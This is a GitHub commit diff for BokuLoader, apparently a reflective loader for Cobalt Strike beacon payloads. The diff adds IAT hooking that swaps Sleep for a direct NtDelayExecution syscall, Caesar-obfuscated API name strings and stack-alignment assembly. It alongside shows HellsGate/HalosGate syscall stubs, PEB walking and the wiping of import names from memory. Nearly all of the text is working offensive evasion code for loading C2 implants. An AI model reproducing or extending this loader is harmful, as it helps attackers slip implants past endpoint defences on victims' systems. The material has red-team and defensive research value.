Merge pull request #23 from xforcered/main

IAT Hooking functionality added, Fixed bugs
This commit is contained in:
Bobby Cooke
2023-03-03 06:18:17 -07:00
committed by GitHub
4 changed files with 299 additions and 180 deletions
+3 -7
View File
@@ -1,13 +1,9 @@
CC_x64 := x86_64-w64-mingw32-gcc
CFLAGS := $(CFLAGS) -Wl,-e,BokuLoader
CFLAGS := $(CFLAGS) -O0 -fno-asynchronous-unwind-tables -nostdlib
CFLAGS := $(CFLAGS) -fno-ident -fpack-struct=8 -falign-functions=1
CFLAGS := $(CFLAGS) -s -falign-jumps=1 -w
CFLAGS := $(CFLAGS) -falign-labels=1 -fPIC -masm=intel
LFLAGS := $(LFLAGS) -Wl,-s,--no-seh,--enable-stdcall-fixup
CFLAGS := $(CFLAGS) -O0
CFLAGS := $(CFLAGS) -masm=intel -Wall -Wno-pointer-arith -w
bokuloader: clean
$(CC_x64) $(CFLAGS) $(LFLAGS) -c src/BokuLoader.c -o dist/BokuLoader.x64.o
$(CC_x64) $(CFLAGS) -c src/BokuLoader.c -o dist/BokuLoader.x64.o
clean:
rm -f dist/*.o
rm -f ./*.c
-1
View File
@@ -45,7 +45,6 @@ bind Ctrl+1 {
return;
}
# https://gist.github.com/EspressoCake/612c8fa45e6d608ec0811ef747cf1db7
sub array2Int {
local('@cArray $cVal $cIndex');
$cVal = 0;
+288 -169
View File
@@ -1,5 +1,21 @@
#include "BokuLoader.h"
// align stack so we don't end up crashing later with MMX registers
__asm__(
"Setup:\n"
" push rsi\n" // Save rsi to the stack
" mov rsi, rsp\n" // Set rsi to the current stack pointer
" and rsp, 0x0FFFFFFFFFFFFFFF0\n" // Align the stack to a 16-byte boundary
" sub rsp, 0x20\n" // Allocate 32 bytes of space on the stack
" call BokuLoader\n"
" mov rsp, rsi\n" // Restore the stack pointer
" pop rsi\n" // Restore the original value of rsi
" pop rcx \n" // put ret address in rcx
" add rsp, 0x20\n" // remove 32 bytes of space on the stack
" and rsp, 0x0FFFFFFFFFFFFFFF0\n" // Align the stack to a 16-byte boundary
" jmp rcx \n"
);
void * BokuLoader()
{
APIS api;
@@ -162,30 +178,30 @@ void doSections(Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
while( numberOfSections-- )
{
__asm__(
"add rax, 0xC \n" // offsetof(IMAGE_SECTION_HEADER, VirtualAddress)
"xor rcx, rcx \n"
"add rax, 0xC \n" // offsetof(IMAGE_SECTION_HEADER, VirtualAddress)
"xor rcx, rcx \n"
"mov ecx, [rax] \n"
"xchg rax, rcx \n"
: "=r" (section.RVA) // RAX OUT
"xchg rax, rcx \n"
: "=r" (section.RVA) // RAX OUT
: "r" (raw_beacon_dll->NthSection) // RAX IN
);
section.dst_rdll_VA = add(virtual_beacon_dll->dllBase, section.RVA);
__asm__(
"add rax, 0x14 \n" // offsetof(IMAGE_SECTION_HEADER, PointerToRawData)
"xor rcx, rcx \n"
"add rax, 0x14 \n" // offsetof(IMAGE_SECTION_HEADER, PointerToRawData)
"xor rcx, rcx \n"
"mov ecx, [rax] \n"
"xchg rax, rcx \n"
: "=r" (section.PointerToRawData) // RAX OUT
: "r" (raw_beacon_dll->NthSection) // RAX IN
"xchg rax, rcx \n"
: "=r" (section.PointerToRawData) // RAX OUT
: "r" (raw_beacon_dll->NthSection) // RAX IN
);
section.src_rdll_VA = add(raw_beacon_dll->dllBase, section.PointerToRawData);
__asm__(
"add rax, 0x10 \n" // offsetof(IMAGE_SECTION_HEADER, SizeOfRawData)
"xor rcx, rcx \n"
"add rax, 0x10 \n" // offsetof(IMAGE_SECTION_HEADER, SizeOfRawData)
"xor rcx, rcx \n"
"mov ecx, [rax] \n"
"xchg rax, rcx \n"
: "=r" (section.SizeOfSection) // RAX OUT
: "r" (raw_beacon_dll->NthSection) // RAX IN
"xchg rax, rcx \n"
: "=r" (section.SizeOfSection) // RAX OUT
: "r" (raw_beacon_dll->NthSection) // RAX IN
);
// check if this is the .text section
if (textSectionFlag == FALSE)
@@ -211,10 +227,19 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
PIMAGE_OPTIONAL_HEADER64 raw_beacon_dll_OPTIONAL_HEADER = NULL;
PIMAGE_DATA_DIRECTORY raw_beacon_dll_data_directory = NULL;
char * importName = NULL;
void* slphook = NULL;
DWORD ImportDirectory_RVA = 0;
DWORD ImportDirectory_Size = 0;
Dll dll_import;
RtlSecureZeroMemory(&dll_import,sizeof(Dll));
// This is IAT hooking functionality support added to this public project
// Currently this is just a poc stub. As it exists atm, this is an unsupported non-default feature
// Currently only demo sleep hook exists which uses NtDelayExecution direct syscall rather than k32.Sleep->kb.SleepEx->nt.NtDelayExecution
// To enable IAT Hooking change this value to the number of hooks
// Making this value larger than defined hooks will still work, but it will slow down IAT resolution
// Enabling the sleephook should have sleepmask set to "false" in C2 profile
unsigned int hooks = 0;
//unsigned int hooks = 1;
// Get the Image base by walking the headers
raw_beacon_dll_DOS_HEADER = (PIMAGE_DOS_HEADER)raw_beacon_dll->dllBase;
@@ -231,11 +256,11 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
nImportDesc = ImportDirectory;
__asm__(
"xor rcx, rcx \n"
"add rdx, 0xC \n" // 12 (0xC) byte offset is the address of the Name RVA within the image import descriptor for the DLL we are importing
"mov ecx, [rdx] \n" // Move the 4 byte unsigned long of IMAGE_IMPORT_DESCRIPTOR->Name into Ecx
"mov rdx, rcx \n"
"add rax, rdx \n" // Address of Module String = dllBase + ((PIMAGE_IMPORT_DESCRIPTOR)nextModuleImportDescriptor)->Name
"xor rcx, rcx \n"
"add rdx, 0xC \n" // 12 (0xC) byte offset is the address of the Name RVA within the image import descriptor for the DLL we are importing
"mov ecx, [rdx] \n" // Move the 4 byte unsigned long of IMAGE_IMPORT_DESCRIPTOR->Name into Ecx
"mov rdx, rcx \n"
"add rax, rdx \n" // Address of Module String = dllBase + ((PIMAGE_IMPORT_DESCRIPTOR)nextModuleImportDescriptor)->Name
: "=r" (importNameRVA), // RDX OUT
"=r" (importName) // RAX OUT
: "r" (virtual_beacon_dll->dllBase), // RAX IN
@@ -244,29 +269,28 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
// The last entry in the image import directory is all zeros
while(importNameRVA)
{
len_importName = (unsigned __int64)StringLengthA(importName);
RtlSecureZeroMemory(&dll_import,sizeof(Dll));
len_importName = (unsigned __int64)StringLengthA(importName);
if(raw_beacon_dll->xor_key){
xorc(len_importName, importName, raw_beacon_dll->xor_key);
dll_import.dllBase = xLoadLibrary(importName);
}else{
dll_import.dllBase = xLoadLibrary(importName);
}
dll_import.dllBase = xLoadLibrary(importName);
stomp(len_importName, importName); // 0 out import DLL name in virtual beacon dll
__asm__(
"xor rcx, rcx \n" // importLookupTableEntry = VA of the OriginalFirstThunk
"mov ecx, [rax] \n" // Move the 4 byte unsigned long of IMAGE_IMPORT_DESCRIPTOR->OriginalFirstThunk into Ecx
"add rcx, rdx \n" // importLookupTableEntry = dllBase + ((PIMAGE_IMPORT_DESCRIPTOR)nextModuleImportDescriptor)->OriginalFirstThunk
"xchg rax, rcx \n"
"xor rcx, rcx \n" // importLookupTableEntry = VA of the OriginalFirstThunk
"mov ecx, [rax] \n" // Move the 4 byte unsigned long of IMAGE_IMPORT_DESCRIPTOR->OriginalFirstThunk into Ecx
"add rcx, rdx \n" // importLookupTableEntry = dllBase + ((PIMAGE_IMPORT_DESCRIPTOR)nextModuleImportDescriptor)->OriginalFirstThunk
"xchg rax, rcx \n"
: "=r" (LookupTableEntry) // RAX OUT
: "r" (nImportDesc), // RAX IN
"r" (virtual_beacon_dll->dllBase) // RDX IN
);
__asm__(
"xor rcx, rcx \n" // importAddressTableEntry = VA of the IAT (via first thunk not origionalfirstthunk)
"add rax, 0x10 \n" // 16 (0x10) byte offset is the address of the unsigned long FirstThunk within the image import descriptor
"mov ecx, [rax] \n" // Move the 4 byte unsigned long of IMAGE_IMPORT_DESCRIPTOR->FirstThunk into Ecx
"add rcx, rdx \n" // importAddressTableEntry = dllBase + ((PIMAGE_IMPORT_DESCRIPTOR)nextModuleImportDescriptor)->FirstThunk
"xchg rax, rcx \n"
"xor rcx, rcx \n" // importAddressTableEntry = VA of the IAT (via first thunk not origionalfirstthunk)
"add rax, 0x10 \n" // 16 (0x10) byte offset is the address of the unsigned long FirstThunk within the image import descriptor
"mov ecx, [rax] \n" // Move the 4 byte unsigned long of IMAGE_IMPORT_DESCRIPTOR->FirstThunk into Ecx
"add rcx, rdx \n" // importAddressTableEntry = dllBase + ((PIMAGE_IMPORT_DESCRIPTOR)nextModuleImportDescriptor)->FirstThunk
"xchg rax, rcx \n"
: "=r" (AddressTableEntry) // RAX OUT
: "r" (nImportDesc), // RAX IN
"r" (virtual_beacon_dll->dllBase) // RDX IN
@@ -279,19 +303,20 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
while(nullCheck)
{
parseDLL(&dll_import);
EntryAddress = NULL;
if( LookupTableEntry && ((PIMAGE_THUNK_DATA)LookupTableEntry)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
__asm__( // Export Base Ordinal from the Export Directory of the module/dll being imported (0x10 offset)
"xor rdx, rdx \n" // located in the Export Directory in memory of the module which functions/api's are being imported
"add rax, 0x10 \n" // unsigned long Base; // 0x10 offset // RCX = &importedDllBaseOrdinal
"xor rdx, rdx \n" // located in the Export Directory in memory of the module which functions/api's are being imported
"add rax, 0x10 \n" // unsigned long Base; // 0x10 offset // RCX = &importedDllBaseOrdinal
"mov edx, [rax] \n" // RAX = importedDllBaseOrdinal (Value/unsigned long)
"xchg rax, rdx \n"
"xchg rax, rdx \n"
: "=r" (BaseOrdinal) // RAX OUT
: "r" (dll_import.Export.Directory) // RAX IN
);
__asm__( // Import Hint from the modules Hint/Name table
"mov rax, [rax] \n" // RAX = 8000000000000013. 13 is the original Thunk, now we need to get rid of the 8
"mov rax, [rax] \n" // RAX = 8000000000000013. 13 is the original Thunk, now we need to get rid of the 8
"and eax, 0xFFFF \n" // get rid of the 8
: "=r" (importEntryHint) // RAX OUT
: "r" (LookupTableEntry) // RAX IN
@@ -303,15 +328,15 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
"r" (BaseOrdinal) // RDX IN
);
__asm__( // The ExportAddressTable/AddressOfFunctions holds unsigned long (4 byte) RVA's for the executable functions/api's address
"mov r11, rdx \n"
"xor r9, r9 \n"
"add r9b, 0x4 \n" // sizeof(unsigned long) - This is because each entry in the table is a 4 byte unsigned long which is the RVA/offset for the actual executable functions address
"mul r9 \n" // importEntryExportTableIndex * sizeof(unsigned long)
"add rax, r11 \n" // RVA for our functions address
"xor r10, r10 \n"
"mov r11, rdx \n"
"xor r9, r9 \n"
"add r9b, 0x4 \n" // sizeof(unsigned long) - This is because each entry in the table is a 4 byte unsigned long which is the RVA/offset for the actual executable functions address
"mul r9 \n" // importEntryExportTableIndex * sizeof(unsigned long)
"add rax, r11 \n" // RVA for our functions address
"xor r10, r10 \n"
"mov r10d, [rax] \n" // The RVA for the executable function we are importing
"add rcx, r10 \n" // The executable address within the imported DLL for the function we imported
"xchg rax, rcx \n"
"add rcx, r10 \n" // The executable address within the imported DLL for the function we imported
"xchg rax, rcx \n"
: "=r" (EntryAddress) // RAX OUT
: "r"(TableIndex), // RAX IN - importEntryExportTableIndex
"r"(dll_import.Export.AddressTable), // RDX IN - AddressTable
@@ -329,8 +354,8 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
{
__asm__( // If there was no ordinal/hint to import then import via the name from the import tables Hint/Name Table for the imported module
"mov rax, [rax] \n" // RVA for our functions Name/Hint table entry
"add rax, rdx \n" // VA (Address in memory) Name/Hint Entry = RVA Name/Hint Entry + New RDLL Address
"add rax, 0x2 \n" // The hint is the first 2 bytes, then its followed by the name string for our import. We need to drop the first 2 bytes so we just have the name string
"add rax, rdx \n" // VA (Address in memory) Name/Hint Entry = RVA Name/Hint Entry + New RDLL Address
"add rax, 0x2 \n" // The hint is the first 2 bytes, then its followed by the name string for our import. We need to drop the first 2 bytes so we just have the name string
: "=r" (EntryName) // RAX OUT
: "r" (AddressTableEntry), // RAX IN, import table entry we are going to overwrite / The RVA for our functions Name/Hint Table entry
"r" (virtual_beacon_dll->dllBase) // RDX IN
@@ -339,8 +364,14 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
len_EntryName = (unsigned __int64)StringLengthA(EntryName);
if(raw_beacon_dll->xor_key){
xorc(len_EntryName, EntryName, raw_beacon_dll->xor_key);
EntryAddress = xGetProcAddress(EntryName, &dll_import);
}else{
}
if (hooks){
EntryAddress = check_and_write_IAT_Hook(EntryName, virtual_beacon_dll, raw_beacon_dll);
}
if (EntryAddress){
hooks--;
}
if (EntryAddress == NULL){
EntryAddress = xGetProcAddress(EntryName, &dll_import);
}
stomp(len_EntryName, EntryName); // 0 out import entry name in virtual beacon dll
@@ -362,11 +393,11 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
}
nImportDesc += 0x14; // 0x14 = 20 = sizeof( IMAGE_IMPORT_DESCRIPTOR )
__asm__( // Do this again for the next module/DLL in the Import Directory
"xor rcx, rcx \n"
"add rax, 0xC \n" // 12(0xC) byte offset is the address of the Name RVA within the image import descriptor for the DLL we are importing
"mov ecx, [rax] \n" // Move the 4 byte unsigned long of IMAGE_IMPORT_DESCRIPTOR->Name
"mov rax, rcx \n" // RVA of Name DLL
"add rdx, rax \n" // Address of Module String = newRdllAddr + ((PIMAGE_IMPORT_DESCRIPTOR)nextModuleImportDescriptor)->Name
"xor rcx, rcx \n"
"add rax, 0xC \n" // 12(0xC) byte offset is the address of the Name RVA within the image import descriptor for the DLL we are importing
"mov ecx, [rax] \n" // Move the 4 byte unsigned long of IMAGE_IMPORT_DESCRIPTOR->Name
"mov rax, rcx \n" // RVA of Name DLL
"add rdx, rax \n" // Address of Module String = newRdllAddr + ((PIMAGE_IMPORT_DESCRIPTOR)nextModuleImportDescriptor)->Name
: "=r" (importName), // RDX OUT
"=r" (importNameRVA) // RAX OUT
: "r" (nImportDesc), // RAX IN
@@ -374,6 +405,19 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
);
}
}
void* check_and_write_IAT_Hook(char* EntryName, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
// Hook Kernel32.Sleep
// Enabling the sleephook should have sleepmask set to "false" in C2 profile
unsigned char str_Sleep[] = {0x73,0x8c,0x85,0x85,0x90,0x00};
basicCaesar_Decrypt(5,str_Sleep,32);
if(StringCompareA(EntryName,str_Sleep)){
return get_virtual_Hook_address(raw_beacon_dll, virtual_beacon_dll, Sleep_Hook);
}
// failed to find a matching hook. Return NULL which will default to xGetProcAddress
return NULL;
}
void doRelocations(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
unsigned __int64 beacon_image_base = 0;
unsigned __int64 BaseAddressDelta = 0;
@@ -435,14 +479,14 @@ void doRelocations(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
"mov rax, r9 \n"
"shr r9, 0x0C \n" // Check the 4 bit type
"cmp r9b, 0x0A \n" // IMAGE_REL_BASED_DIR64?
"jne badtype \n"
"jne badtype \n"
"shl rax, 0x34 \n" // only keep the last 12 bits of RAX by shaking the RAX register
"shr rax, 0x34 \n" // the last 12 bits is the offset, the first 4 bits is the type
"add rdx, rax \n" // in memory Virtual Address of our current relocation entry
"mov r10, [rdx] \n" // value of the relocation entry
"add r10, rcx \n" // value of our relocation entry + the hardcoded Addr:Our Real in memory VA delta we calculated earlier
"mov [rdx], r10 \n" // WRITE THAT RELOC!
"badtype:\n"
"badtype:\n"
: // no outputs
: "r" (this_relocation), // RAX IN
"r" (this_relocation_VA), // RDX IN
@@ -455,6 +499,47 @@ void doRelocations(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
}
}
/*
// void* getHook(void* src_rdll.BaseAddr, void* src_rdll.hookAddr, void* dst_rdll.BaseAddr, int raw_vs_virtual_text_section_diff);
// RCX RDX R8 R9
"getHook: \n"
"sub rdx, rcx \n" // RDX = RVA hookAddr = (src_rdll.hookAddr - src_rdll.BaseAddr)
"add rdx, r8 \n" // RDX = dst_rdll.hookAddr = (RVA hookAddr + dst_rdll.BaseAddr)
"mov rax, rdx \n" // return dst_rdll.hookAddr
"add rax, r9 \n" // raw_vs_virtual_text_section_diff
"ret \n"
*/
void* get_virtual_Hook_address(Dll * raw_beacon_dll, Dll * virtual_beacon_dll, void* raw_hook_address)
{
unsigned int raw_vs_virtual_delta = 0;
void* hook_raw_file_offset = NULL;
void* hook_relative_virtual_offset = NULL;
void* virtual_hook_address = NULL;
unsigned short size_Optional_Header = 0;
PIMAGE_DOS_HEADER raw_beacon_dll_DOS_HEADER = NULL;
PIMAGE_FILE_HEADER raw_beacon_dll_FILE_HEADER = NULL;
PIMAGE_OPTIONAL_HEADER64 raw_beacon_dll_OPTIONAL_HEADER = NULL;
PIMAGE_SECTION_HEADER raw_beacon_dll_SECTION_HEADER = NULL;
// Get the Section Header
raw_beacon_dll_DOS_HEADER = (PIMAGE_DOS_HEADER)raw_beacon_dll->dllBase;
raw_beacon_dll_FILE_HEADER = (PIMAGE_FILE_HEADER)(raw_beacon_dll_DOS_HEADER->e_lfanew + (char*)raw_beacon_dll_DOS_HEADER);
raw_beacon_dll_OPTIONAL_HEADER = (PIMAGE_OPTIONAL_HEADER64)(0x18 + (char*)raw_beacon_dll_FILE_HEADER);
size_Optional_Header = *(unsigned short*)((char*)raw_beacon_dll_FILE_HEADER + 0x14);
raw_beacon_dll_SECTION_HEADER = (PIMAGE_SECTION_HEADER)add(raw_beacon_dll_OPTIONAL_HEADER, size_Optional_Header);
raw_vs_virtual_delta = (unsigned int)(raw_beacon_dll_SECTION_HEADER->VirtualAddress - raw_beacon_dll_SECTION_HEADER->PointerToRawData);
hook_raw_file_offset = (void*)((char*)raw_hook_address - (char*)raw_beacon_dll->dllBase);
hook_relative_virtual_offset = (void*)add(hook_raw_file_offset, raw_vs_virtual_delta);
virtual_hook_address = (void*)add(hook_relative_virtual_offset, virtual_beacon_dll->dllBase);
return virtual_hook_address;
}
void parseDLL(Dll * dll){
dll->NewExeHeader = getNewExeHeader(dll->dllBase);
dll->size = getDllSize(dll->NewExeHeader);
@@ -553,31 +638,31 @@ void getApis(APIS * api){
}
void * xLoadLibrary(void * library_name){
// Check if the DLL is already loaded and the entry exists in the PEBLdr
void* LibraryAddress = getDllBase(library_name);
// If the DLL is not already loaded into process memory, use LoadLibraryA to load the imported module into memory
if (LibraryAddress == NULL){
APIS api;
ANSI_STRING ANSI_Library_Name;
UNICODE_STRING UNICODE_Library_Name;
// Check if the DLL is already loaded and the entry exists in the PEBLdr
void* LibraryAddress = getDllBase(library_name);
// If the DLL is not already loaded into process memory, use LoadLibraryA to load the imported module into memory
if (LibraryAddress == NULL){
APIS api;
ANSI_STRING ANSI_Library_Name;
UNICODE_STRING UNICODE_Library_Name;
RtlSecureZeroMemory( &api, sizeof( APIS ) );
RtlSecureZeroMemory( &ANSI_Library_Name, sizeof( ANSI_Library_Name ) );
RtlSecureZeroMemory( &UNICODE_Library_Name, sizeof( UNICODE_Library_Name ) );
RtlSecureZeroMemory( &api, sizeof( APIS ) );
RtlSecureZeroMemory( &ANSI_Library_Name, sizeof( ANSI_Library_Name ) );
RtlSecureZeroMemory( &UNICODE_Library_Name, sizeof( UNICODE_Library_Name ) );
getApis(&api);
getApis(&api);
// Change ASCII string to ANSI struct string
api.RtlInitAnsiString(&ANSI_Library_Name,library_name);
// RtlAnsiStringToUnicodeString converts the given ANSI source string into a Unicode string.
// 3rd arg = True = routine should allocate the buffer space for the destination string. the caller must deallocate the buffer by calling RtlFreeUnicodeString.
api.RtlAnsiStringToUnicodeString( &UNICODE_Library_Name, &ANSI_Library_Name, TRUE );
// Change ASCII string to ANSI struct string
api.RtlInitAnsiString(&ANSI_Library_Name,library_name);
// RtlAnsiStringToUnicodeString converts the given ANSI source string into a Unicode string.
// 3rd arg = True = routine should allocate the buffer space for the destination string. the caller must deallocate the buffer by calling RtlFreeUnicodeString.
api.RtlAnsiStringToUnicodeString( &UNICODE_Library_Name, &ANSI_Library_Name, TRUE );
api.LdrLoadDll(NULL, 0,&UNICODE_Library_Name,&LibraryAddress);
// cleanup
api.RtlFreeUnicodeString( &UNICODE_Library_Name );
}
return LibraryAddress;
api.LdrLoadDll(NULL, 0,&UNICODE_Library_Name,&LibraryAddress);
// cleanup
api.RtlFreeUnicodeString( &UNICODE_Library_Name );
}
return LibraryAddress;
}
void * xGetProcAddress(void * symbolStr, Dll * dll) {
@@ -622,6 +707,16 @@ SIZE_T StringLengthA(LPCSTR String)
return (String2 - String);
}
BOOL StringCompareA( LPCSTR String1, LPCSTR String2 ) {
for (; *String1 == *String2; String1++, String2++)
{
// if we hit the null byte terminator we are at the end of the string. They are equal
if (*String1 == '\0')
return TRUE;
}
return FALSE;
}
// Havoc C2 function
SIZE_T CharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed )
{
@@ -658,10 +753,31 @@ void stomp(unsigned __int64 length, unsigned char * buff) {
}
}
void Sleep_Hook(DWORD dwMilliseconds){
Dll ntdll;
unsigned char s_ntdll[] = {0x82,0x68,0x58,0x80,0x60,0x42,0x58,0x80,0x80,0x00};
basicCaesar_Decrypt(9, s_ntdll, 513556);
ntdll.dllBase = getDllBase((char *)s_ntdll);
parseDLL(&ntdll);
char s_NtDelayExecution[] = {'N','t','D','e','l','a','y','E','x','e','c','u','t','i','o','n',0};
int i_NtDelayExecution = 16;
tNtDelayExecution pNtDelayExecution = (tNtDelayExecution) getSymbolAddress(s_NtDelayExecution, (void*)i_NtDelayExecution, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable,ntdll.Export.NumberOfNames);
LARGE_INTEGER Time;
PLARGE_INTEGER TimePtr;
TimePtr = &Time;
TimePtr->QuadPart = dwMilliseconds * -10000LL;
pNtDelayExecution(0, TimePtr);
}
__asm__(
// "Registers RAX, RCX, RDX, R8, R9, R10, and R11 are considered volatile and must be considered destroyed on function calls."
// "RBX, RBP, RDI, RSI, R12, R14, R14, and R15 must be saved in any function using them."
// -- https://www.intel.com/content/dam/develop/external/us/en/documents/introduction-to-x64-assembly-181178.pdf
"getPEB: \n"
"mov rax, gs:[0x60] \n" // ProcessEnvironmentBlock // GS = TEB
"ret \n"
@@ -746,46 +862,46 @@ __asm__(
"end: \n"
"ret \n" // return to caller
"getExportDirectory: \n"
"push rbx \n" // save the rbx register to the stack
"mov r8, rcx \n"
"getExportDirectory: \n"
"push rbx \n" // save the rbx register to the stack
"mov r8, rcx \n"
"mov ebx, [rcx+0x3C] \n"
"add rbx, r8 \n"
"xor rax, rax \n"
"add rbx, r8 \n"
"xor rax, rax \n"
"mov eax, [rbx+0x88] \n"
"add rax, r8 \n"
"add rax, r8 \n"
"pop rbx \n" // restore rbx from stack
"ret \n" // return ExportDirectory;
"getExportDirectorySize: \n"
"push rbx \n"
"mov r8, rcx \n"
"push rbx \n"
"mov r8, rcx \n"
"mov ebx, [rcx+0x3C] \n"
"add rbx, r8 \n"
"xor rax, rax \n"
"add rbx, r8 \n"
"xor rax, rax \n"
"mov eax, [rbx+0x8c] \n"
"pop rbx \n"
"pop rbx \n"
"ret \n" // return ExportDirectory Size;
"getExportAddressTable: \n"
"xor rax, rax \n"
"add rdx, 0x1C \n" // unsigned long AddressOfFunctions; // 0x1C offset // RDX = &RVAExportAddressTable
"mov eax, [rdx] \n" // RVAExportAddressTable (Value/RVA)
"add rax, rcx \n" // VA ExportAddressTable (The address of the Export table in running memory of the process)
"xor rax, rax \n"
"add rdx, 0x1C \n" // unsigned long AddressOfFunctions; // 0x1C offset // RDX = &RVAExportAddressTable
"mov eax, [rdx] \n" // RVAExportAddressTable (Value/RVA)
"add rax, rcx \n" // VA ExportAddressTable (The address of the Export table in running memory of the process)
"ret \n" // return ExportAddressTable
"getExportNameTable: \n"
"xor rax, rax \n"
"add rdx, 0x20 \n" // unsigned long AddressOfFunctions; // 0x20 offset
"mov eax, [rdx] \n" // RVAExportAddressOfNames (Value/RVA)
"add rax, rcx \n" // VA ExportAddressOfNames
"getExportNameTable: \n"
"xor rax, rax \n"
"add rdx, 0x20 \n" // unsigned long AddressOfFunctions; // 0x20 offset
"mov eax, [rdx] \n" // RVAExportAddressOfNames (Value/RVA)
"add rax, rcx \n" // VA ExportAddressOfNames
"ret \n" // return ExportNameTable;
"getExportOrdinalTable: \n"
"xor rax, rax \n"
"add rdx, 0x24 \n" // unsigned long AddressOfNameOrdinals; // 0x24 offset
"mov eax, [rdx] \n" // RVAExportAddressOfNameOrdinals (Value/RVA)
"add rax, rcx \n" // VA ExportAddressOfNameOrdinals
"xor rax, rax \n"
"add rdx, 0x24 \n" // unsigned long AddressOfNameOrdinals; // 0x24 offset
"mov eax, [rdx] \n" // RVAExportAddressOfNameOrdinals (Value/RVA)
"add rax, rcx \n" // VA ExportAddressOfNameOrdinals
"ret \n" // return ExportOrdinalTable;
"getNumberOfNames: \n"
@@ -973,86 +1089,89 @@ __asm__(
"pop rdi \n"
"ret \n"
"halosGateUp: \n" // RAX,RSI,RDI,RDX
"push rdi \n"
"push rsi \n"
"xor rsi, rsi \n"
"xor rdi, rdi \n"
"halosGateUp: \n" // RAX,RSI,RDI,RDX
"push rdi \n"
"push rsi \n"
"xor rsi, rsi \n"
"xor rdi, rdi \n"
"mov rsi, 0x00B8D18B4C \n"
"xor rax, rax \n"
"mov al, 0x20 \n"
"mul dx \n"
"add rcx, rax \n"
"mov edi, [rcx] \n"
"cmp rsi, rdi \n"
"xor rax, rax \n"
"mov al, 0x20 \n"
"mul dx \n"
"add rcx, rax \n"
"mov edi, [rcx] \n"
"cmp rsi, rdi \n"
"jne HalosGateFail \n"
"mov ax, [rcx+4] \n"
"mov ax, [rcx+4] \n"
"jmp HalosGateExit \n"
"halosGateDown: \n" // RAX,RSI,RDI,RDX
"push rdi \n"
"push rsi \n"
"xor rsi, rsi \n"
"xor rdi, rdi \n"
"halosGateDown: \n" // RAX,RSI,RDI,RDX
"push rdi \n"
"push rsi \n"
"xor rsi, rsi \n"
"xor rdi, rdi \n"
"mov rsi, 0x00B8D18B4C \n"
"xor rax, rax \n"
"mov al, 0x20 \n"
"mul dx \n"
"sub rcx, rax \n"
"mov edi, [rcx] \n"
"cmp rsi, rdi \n"
"xor rax, rax \n"
"mov al, 0x20 \n"
"mul dx \n"
"sub rcx, rax \n"
"mov edi, [rcx] \n"
"cmp rsi, rdi \n"
"jne HalosGateFail \n"
"mov ax, [rcx+4] \n"
"HalosGateFail: \n"
"xor rax, rax \n" // return 0x0 if fail to find syscall stub bytes
"HalosGateExit: \n"
"pop rsi \n"
"pop rdi \n"
"ret \n"
"mov ax, [rcx+4] \n"
"HalosGateFail: \n"
"xor rax, rax \n" // return 0x0 if fail to find syscall stub bytes
"HalosGateExit: \n"
"pop rsi \n"
"pop rdi \n"
"ret \n"
"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent()
"xor r11, r11 \n"
"mov r11d, ecx \n" // Save Syscall Number in R11
"ret \n"
"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent()
"xor r11, r11 \n"
"mov r11d, ecx \n" // Save Syscall Number in R11
"ret \n"
"HellDescent: \n" // Called directly after HellsGate
"xor rax, rax \n"
"mov r10, rcx \n"
"mov eax, r11d \n" // Move the Syscall Number into RAX before calling syscall interrupt
"syscall \n"
"ret \n"
"HellDescent: \n" // Called directly after HellsGate
"xor rax, rax \n"
"mov r10, rcx \n"
"mov eax, r11d \n" // Move the Syscall Number into RAX before calling syscall interrupt
"syscall \n"
"ret \n"
"getFirstEntry: \n" // RAX, RCX
"mov rax, gs:[0x60] \n" // ProcessEnvironmentBlock // GS = TEB
"mov rax, [rax+0x18] \n" // _PEB_LDR_DATA
"mov rax, [rax+0x20] \n" // InMemoryOrderModuleList - First Entry (probably the host PE File)
"ret \n"
"getFirstEntry: \n" // RAX, RCX
"mov rax, gs:[0x60] \n" // ProcessEnvironmentBlock // GS = TEB
"mov rax, [rax+0x18] \n" // _PEB_LDR_DATA
"mov rax, [rax+0x20] \n" // InMemoryOrderModuleList - First Entry (probably the host PE File)
"ret \n"
"getNextEntry: \n" // RAX, RCX
"mov rax, [rcx] \n"
"cmp rdx, [rax] \n" // Are we back at the same entry in the list?
"jne notTheLast \n"
"xor rax, rax \n"
"notTheLast: \n"
"ret \n"
"getNextEntry: \n" // RAX, RCX
"mov rax, [rcx] \n"
"cmp rdx, [rax] \n" // Are we back at the same entry in the list?
"jne notTheLast \n"
"xor rax, rax \n"
"notTheLast: \n"
"ret \n"
"getDllBaseFromEntry: \n" // RAX,RCX
"getDllBaseFromEntry: \n" // RAX,RCX
"mov rax, [rcx+0x20] \n"
"ret \n"
"ret \n"
"basicCaesar_Decrypt:\n" // RAX,RCX,RDX,RSI,RDI
"push rdi \n"
"push rsi \n"
"mov rsi, rdx\n"
"xor rax, rax\n"
"add al, r8b\n"
"bcdLoop:\n"
"sub [rsi], al\n"
"inc rsi\n"
"dec cl\n"
"test cl,cl\n"
"jnz bcdLoop\n"
"pop rsi \n"
"pop rdi \n"
"ret\n"
"push rdi \n"
"push rsi \n"
"mov rsi, rdx \n"
"xor rax, rax \n"
"add al, r8b \n"
"bcdLoop: \n"
"sub [rsi], al \n"
"inc rsi \n"
